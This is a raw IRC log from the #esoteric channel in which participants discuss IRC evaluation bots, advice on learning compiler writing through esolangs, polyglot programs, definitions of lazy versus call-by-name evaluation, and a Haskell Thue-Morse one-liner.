1394727632 853266 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :it's actually more of a slave than most bots: you can't even feed it < 1394727871 495128 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :I’m probably going to have to turn it into a proper bot with commands and matchers and stuff some time … < 1394727907 658335 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :And ( just works like > ; it will only interpret, it does nothing else. < 1394727942 380665 :spiette!~spiette@mtl.savoirfairelinux.net JOIN :#esoteric < 1394727972 228064 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :then define a botsnack operator < 1394728510 912888 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1394728525 301802 :MoALTz!~no@user-46-113-90-183.play-internet.pl JOIN :#esoteric < 1394729943 393378 :nisstyre_!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394730115 353522 :MoALTz!~no@user-46-113-90-183.play-internet.pl QUIT :Quit: Leaving < 1394730956 815979 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@botsnack idris-ircslave ... I wonder if I should implement that. < 1394730957 23936 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric ::) < 1394731010 98998 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :how would lambdabot give snacks to other bots? < 1394731087 608160 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION feeds idris-ircslave a sandwich. < 1394731093 158212 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :something like that ;) < 1394731176 967730 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(you can get creative when it comes to food. it could be an OSI sandwich, for example. < 1394731179 957118 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :) < 1394731219 225111 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :ACTION composes a good botsnack response for idris-ircslave. Not going to put it in just now, though. < 1394731230 342793 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(Help! I"m stuck between OSI layers 2 and 3!) < 1394731438 252182 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394732484 551802 :ski!~ski@remote1.student.chalmers.se PRIVMSG #esoteric :fsbot uses `,' ? < 1394733317 9486 :yorick_!~yorick@oftn/member/yorick JOIN :#esoteric < 1394733337 470688 :yorick!~yorick@oftn/member/yorick QUIT :Excess Flood < 1394733519 451488 :yorick_!~yorick@oftn/member/yorick NICK :yorick < 1394734947 656162 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :idris-ircslave: help < 1394734947 758868 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1:No such variable help < 1394734955 724617 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :I guess that's eval too < 1394735128 94372 :FreeFull!~freefull@defocus/sausage-lover JOIN :#esoteric < 1394735279 236540 :nisstyre_!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394735344 113808 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Yes, it is. < 1394735488 907382 :c031n6!6adc1fbd@gateway/web/freenode/ip.106.220.31.189 JOIN :#esoteric < 1394735540 193841 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394735599 323219 :c031n6!6adc1fbd@gateway/web/freenode/ip.106.220.31.189 PRIVMSG #esoteric :i want to join a esoteric language community......can anyone help ? < 1394735653 260655 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :You kind of just did < 1394735663 674841 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :I mean, this channel is some sort of esoterig language community < 1394735673 651465 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :`relcome c031n6 < 1394735674 836447 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​06c031n6: 13Welcome 04to 07the 08international 09hub 02for 06esoteric 13programming 04language 07design 08and 09deployment! 02For 06more 13information, 04check 07out 08our 09wiki: 02. 06(For 13the 04other 07kind 08of 09esoterica, 02try 06#esoteric 13on 04irc.dal.net.) < 1394735725 101941 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Programming language, though. Not just language in general. < 1394735738 109252 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I think this /is/ the main community, but it spends a lot of time offtopic < 1394735740 567866 :c031n6!6adc1fbd@gateway/web/freenode/ip.106.220.31.189 PRIVMSG #esoteric :i know that < 1394735743 977417 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the other esolang communities I know of have all died < 1394735755 323958 :password2!~password@197.78.153.55 JOIN :#esoteric < 1394735771 491451 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com PRIVMSG #esoteric :c031n6: what do you mean "join" < 1394735791 14358 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :ais523: There was an esolang mailing list message just the other day, in 2012. < 1394735811 593710 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :2012 is "just the other day"? < 1394735821 729113 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also I'm pretty sure someone posted on alt.lang.intercal some time in the last several years < 1394735822 695802 :c031n6!6adc1fbd@gateway/web/freenode/ip.106.220.31.189 PRIVMSG #esoteric :anyone here to help me out developing a esoteric lang which would give me an edge in developing a much proper prog'g lang pls < 1394735845 678524 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, you want to practice on esolangs in order to move onto more serious compiling? that makes a lot of sense < 1394735847 49342 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :this isn't an esolang development "help" channel i think < 1394735852 86584 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :quintopia: yes it is < 1394735856 828264 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :just it hasn't been used for that in years < 1394735860 768092 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :oh okay < 1394735863 741973 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :due to low demand < 1394735867 999555 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :righto < 1394735870 469448 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it used to be used like that all the time, though < 1394735886 737019 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :c031n6: I'd suggest trying to create something with a proper type system of some sot < 1394735888 173390 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :*sort < 1394735902 420281 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :most serious compiled languages need to be able to handle that < 1394735911 214656 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and even interpreted languages tend to be horribly slow without it < 1394735923 885373 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com PRIVMSG #esoteric :c031n6: i dont think esolangs are a good stepping stone to a proper language < 1394735952 927570 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :augur: I'm not certain < 1394735962 897020 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :much of the initial work I did on Anarchy ended up relevant to my PhD < 1394735975 736270 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and the compiler development practice definitely helped < 1394735997 457575 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :like, knowing how to write a parser (even if it's just via yacc) is really helpful, and the general ideas of AST traversal < 1394736007 161591 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :now, you can write interps/compilers for many esolangs without worrying about that stuff < 1394736024 962942 :c031n6!6adc1fbd@gateway/web/freenode/ip.106.220.31.189 PRIVMSG #esoteric :thnx and a more easier way to master writing compilers than following books ? < 1394736040 54929 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but, you can work on something that needs it < 1394736058 865992 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :c031n6: I'd say working on optimizers (within an existing compiler) can be good practice for writing compilers < 1394736072 760066 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it forces you to think in the right sort of way, working out how much information you can track about the program < 1394736081 837036 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and if there's an existing compiler, much of the work has been done for oyu < 1394736085 815947 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :*you < 1394736107 110875 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :also building code generators < 1394736121 609692 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so long as it's more complex than a textual substitution BF compiler < 1394736128 908853 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :which is a sort of compiler where you decide the source language on the fly < 1394736132 270145 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, what are good esolangs to start with when writing compilers < 1394736147 953093 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Underload, perhaps; that's moderately difficult to compile < 1394736148 92729 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :perl < 1394736156 490362 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :quintopia: I mean compiling from < 1394736161 557677 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :yes < 1394736163 640143 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :so do i' < 1394736167 405048 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it's theoretically impossible to compile Perl via any method than bundling an interp < 1394736174 907714 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also it's a very large language < 1394736180 222168 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :*any method other than < 1394736181 430685 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :yes < 1394736188 772469 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :very good practice at compiler building there < 1394736204 451803 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :quintopia: practice normally implies being easier than the real thing < 1394736227 310704 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :but just by being here we've proved we're not normal < 1394736288 839637 :c031n6!6adc1fbd@gateway/web/freenode/ip.106.220.31.189 QUIT :Ping timeout: 245 seconds < 1394736293 907270 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :gah, I hate this, an opportunity for the channel to be ontopic, and you're basically just acting like you'd prefer it to be offtopic < 1394736333 487268 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :sometimes I really wonder why I stay here < 1394736559 57722 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :sorry i'm not srs enough. but i do like the channel the way it usually is. < 1394736575 705867 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yeah but I don't < 1394736580 287139 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it's basically just a social channel < 1394736600 466059 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :like, a few years back < 1394736605 888097 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :you'd have conversations about Befunge that lasted /weeks/ < 1394736858 301573 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I just realized that the bfjoust fad seems to be over. < 1394736908 896110 :erdic!erdic@unaffiliated/motley JOIN :#esoteric < 1394736955 592453 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :int-e: it's not fully over, but it's definitely slowed < 1394736966 577026 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I got frustrated by preparation beating every program and still not getting #1 on the hill < 1394736986 145860 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so gave it a break for a while < 1394736994 174244 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :if I can get it, or another program, to #1, then interest will spark up again < 1394736996 684673 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but I've been really busy < 1394737143 292355 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :you stay here for those few lucid moments when things get interesting. you never know when they'll come < 1394737203 497663 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yes < 1394737249 321535 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that sounds like life < 1394737298 642209 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :waiting for lucid moments? mmm < 1394737514 386119 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i get the feeling this place would be as boring as ##cs is most of the time were there a requirement to stay on topic < 1394737625 90913 :AnotherTest!~turingcom@94-224-16-52.access.telenet.be QUIT :Read error: Connection reset by peer < 1394738006 842277 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It certainly would give me less data to draw plots with. < 1394738020 427064 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric ::P < 1394738032 162794 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :you are quite to data wrangler < 1394738181 373807 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :we'd also have to ban fungot. < 1394738181 476816 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :int-e: so, the lives of any hobgoblins to their death on the mountain < 1394738262 334502 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fungot is ontopic, though < 1394738262 442777 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ais523: the, uh, i just need to keep the theme going. a classic i like, and you may end. < 1394738265 840853 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :being written in an esolang < 1394738311 634411 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :fungot rarely says things that are on-topic < 1394738311 909085 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :quintopia: " i want, he could be the king here and there, that ought to be good. < 1394738378 337531 :evalj!~jeval@51B6E3DC.dsl.pool.telekom.hu JOIN :#esoteric < 1394738482 463321 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :anyone have a J/Idris polyglot handy? :-) < 1394738654 554512 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :now, that's an interesting idea < 1394738659 546262 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :automatic polyglot generator < 1394738675 937812 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :although it'd probably exploit comment syntax differences, that's the normal way to make really large polyglots < 1394738707 285345 :password2!~password@197.78.153.55 QUIT :Ping timeout: 264 seconds < 1394738754 827524 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Somehow that sounds really familiar, but I can't find anything related. (Possibly I'm just thinking of some particular polyglot that had used some semi-automatic generation.) < 1394738762 301775 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :automatic ouroboros generators are probably easier < 1394738779 64807 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :what's the largest comment-less polyglot extant? < 1394738799 121703 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, interesting question < 1394738807 851715 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :do you consider things like putting most of the program into a string literal as commenting? < 1394738815 768961 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :no that's fine < 1394738836 596792 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :seeing as how 90% of languages use the same syntax for strings... < 1394738860 873946 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :q< anything inside these angle brackets won't be seen by Perl... > < 1394738918 708997 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Awib is a polyglot, and a large(ish, relatively speaking) program, but very comment-based. < 1394738929 499528 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh, I didn't realise awib was a polyglot < 1394738931 634167 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :what's the other language? < 1394738947 734550 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :maybe I should just read it < 1394738970 247808 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's a brainfuck-C-bash-Tcl polyglot. < 1394739010 695761 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, awib's definition of esolangs is quite interesting < 1394739012 93056 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :But all four parts are quite separate blocks, and use comment tricks for isolation. < 1394739039 356706 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :"An esoteric programming language is a language not only ill-suited for serious software development, but actually designed with this characteristic in mind." < 1394739066 856870 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I would ask why, but I guess there isn't really a reason < 1394739082 537991 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :nor does there really have to be < 1394739086 984642 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(wrt the polyglotting, I mean) < 1394739162 992885 :lifthras1ir!~lifthrasi@115.68.131.49 QUIT :Ping timeout: 252 seconds < 1394739274 254803 :lifthrasiir!~lifthrasi@115.68.131.49 JOIN :#esoteric < 1394740244 444919 :erdic!erdic@unaffiliated/motley QUIT :Remote host closed the connection < 1394740276 927558 :erdic!erdic@unaffiliated/motley JOIN :#esoteric < 1394740865 225877 :AnotherTest!~turingcom@94-224-16-52.access.telenet.be JOIN :#esoteric < 1394740960 737850 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394741497 237094 :x^2!~x^2@147.4.174.98 QUIT :Ping timeout: 240 seconds < 1394741681 151100 :x^2!~x^2@147.4.174.98 JOIN :#esoteric < 1394742495 855556 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394742534 149644 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1394742563 912264 :variable!root@freebsd/developer/variable NICK :trout < 1394742667 378199 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394742669 388028 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394743437 64775 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 264 seconds < 1394743738 833893 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Quit: Terminated < 1394743956 384810 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1394744022 121964 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 255 seconds < 1394744029 256939 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394744788 902300 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 QUIT :Ping timeout: 245 seconds < 1394746039 626864 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ais523: So that makes Haskell an esoteric programming language in spirit? ("Avoid success at all cost", of course ultimately it's a failure.) < 1394746081 707618 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I'm not sure what "serious" software development is. < 1394746088 378959 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :int-e: I thought the parens went around "success at all cost" < 1394746123 242722 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ais523: you could be right, I have not considered that possibility. < 1394746148 691966 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I don't think Haskell can really be an esolang just because it was a (successful in that respect!) attempt to unify all the independent attempts to create lazy pure functional languages that were springing up at the time < 1394746162 541126 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and, well, lazy functional languages were pretty eso once (just look at Unlambda) < 1394746178 476699 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but with enough persistence trying to make them work, they eventually did < 1394746206 766326 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :to make that perfectly clear, I do not consider Haskell to be an esoteric programming language. I'm just wondering whether the proposed definition stretches far enough to include it. < 1394746274 936142 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :well, my working definition of an esoteric language is "a language for which it there would be no point in trying to make an ecosystem of libraries" < 1394746279 602588 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it works quite well, apart from Funge-98 < 1394746337 464797 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's not that far of for Funge-98, since while there is an ecosystem of libraries, the point is debatable. (Though it certainly makes up a large part of the Funge-98 Experience, so maybe that counts.) < 1394746343 430677 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :s/of/off/ < 1394747236 399410 :Slereah_!~jackal@176.222.51.233 QUIT :Read error: Connection reset by peer < 1394747316 814072 :Sorella_!~queen@201.80.214.167 JOIN :#esoteric < 1394747349 167513 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394747491 340094 :AnotherTest!~turingcom@94-224-16-52.access.telenet.be QUIT :Ping timeout: 264 seconds < 1394748554 690522 :oklopol!~oklopol@dyn60-339.yok.fi QUIT :Ping timeout: 252 seconds < 1394749599 381020 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1394750062 151122 :atslash!~atslash@broadband-46-188-0-82.2com.net QUIT :Quit: Leaving < 1394750224 128899 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : and, well, lazy functional languages were pretty eso once (just look at Unlambda) <-- unlambda isn't really lazy. even the d operator doesn't actually cache any result. < 1394750234 688304 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*d function < 1394750238 960685 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh right, I was confused < 1394750244 599299 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but you don't need caching to be lazy < 1394750258 200478 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yes you do. < 1394750260 726488 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :in fact, one of the largest reasons for laziness – that you can't store values of the type in question – prevents caching < 1394750301 877543 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :if you're not caching the result then you are reevaluating it every time, which isn't a very lazy thing to do (and essentially call-by-name, although unlambda has no names) < 1394750347 793432 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that is, functionally laziness is an optimization of call-by-name < 1394750368 422793 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :aka call-by-need < 1394750375 813006 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh, I treat call-by-name as lazy < 1394750387 705058 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :my definition of "lazy" is "function arguments might not be evaluated even if the function's result is used" < 1394750392 323922 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :hellørjan. ais523ello. < 1394750410 105771 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boillo < 1394750462 269007 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: the more general term is non-strict < 1394750488 947997 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that covers all the implementations with the same pure semantic result as laziness and call-by-name < 1394750513 48236 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :of course side effects mess things up < 1394750517 128446 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :is there a difference between "lazy" and "call-by-need" with your definition? < 1394750525 910730 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :not sure. < 1394750540 930648 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :because if not, I think my definition's more useful < 1394750581 112140 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :lazy means call-by-need < 1394750584 631521 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :non-strict means non-strict < 1394750589 831042 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :call-by-name means call-by-name < 1394750603 362308 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :A means A < 1394750615 950346 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(A rand-om observation) < 1394750686 760412 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION wonders what an om is, and why it is randing... < 1394750726 648630 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott_: is that you agreeing with oerjan? < 1394750740 233329 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :yes < 1394750744 451516 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I don't really like it because call-by-need is so semantically ugly < 1394750767 696135 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :even parallel call-by-need is better < 1394750768 67272 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :that's why laziness is an implementation detail < 1394750787 131648 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :well, there are definitely impure call-by-name languages < 1394751051 560464 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boily: an om is an objectivist mastermind hth < 1394751199 960855 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: td partially h. I still haven't grasped all the nuances of objectivism. < 1394751255 80652 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1394751259 418491 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :`relcome vravn < 1394751260 528675 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​08vravn: 09Welcome 02to 06the 13international 04hub 07for 08esoteric 09programming 02language 06design 13and 04deployment! 07For 08more 09information, 02check 06out 13our 04wiki: 07. 08(For 09the 02other 06kind 13of 04esoterica, 07try 08#esoteric 09on 02irc.dal.net.) < 1394751277 901045 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boily: i am quite suspecting that nobody has. < 1394751314 508465 :vravn!~vravn@syn.rook.sx PRIVMSG #esoteric :Thanks for the welcome < 1394751338 774415 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: oh well. my main concern of the moment is a sudden panic caused by a lack of haskell in my recent life. < 1394751344 405422 :ais523!~ais523@unaffiliated/ais523 QUIT : < 1394751472 994284 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ic < 1394751528 187539 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I keep trying to functionalise the Java I produce during the day. < 1394751594 683429 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run fix$(0:).(<**>[id,xor 1]).tail < 1394751598 399984 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : mueval-core: Time limit exceeded < 1394751607 810359 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm that didn't work well. < 1394751634 706167 :metasepia!~metasepia@96.127.201.149 JOIN :#esoteric < 1394751638 620819 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :~eval fix $ (0:) . (<**> [id, xor 1]) . tail < 1394751639 366993 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :Error (127): < 1394751648 684212 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oh, an error 127! < 1394751652 71300 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run fix$(0:).(<**>[id,xor 1]).tail < 1394751655 837075 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : mueval-core: Time limit exceeded < 1394751656 619635 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :~eval fix $ (0:) . (<**> [id, xor 1]) . tail < 1394751656 726462 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :Error (127): < 1394751666 238327 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric ::t fix$(0:).(<**>[id,xor 1]).tail < 1394751667 128484 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :(Num a, Bits a) => [a] < 1394751679 173097 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ah. of course an error 127. I'm not running the cuttle from the same machine as before... < 1394751681 738309 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh wait hm < 1394751692 178736 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run fix$(0:).tail.(<**>[id,xor 1]) < 1394751693 458327 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : [0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,1,0,1... < 1394751697 762315 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :silly mistake < 1394751718 350342 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :thue-morse? < 1394751730 665964 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but of-course < 1394751770 19827 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boily: are you telling me you _left_ a job where you could do haskell? surely you have no one but yourself to blame. < 1394751846 944255 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh dear did i break him < 1394751878 836165 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I could do Haskell in my free time. now I can't. I drown my sorrows in games of Magic during lunchtime. < 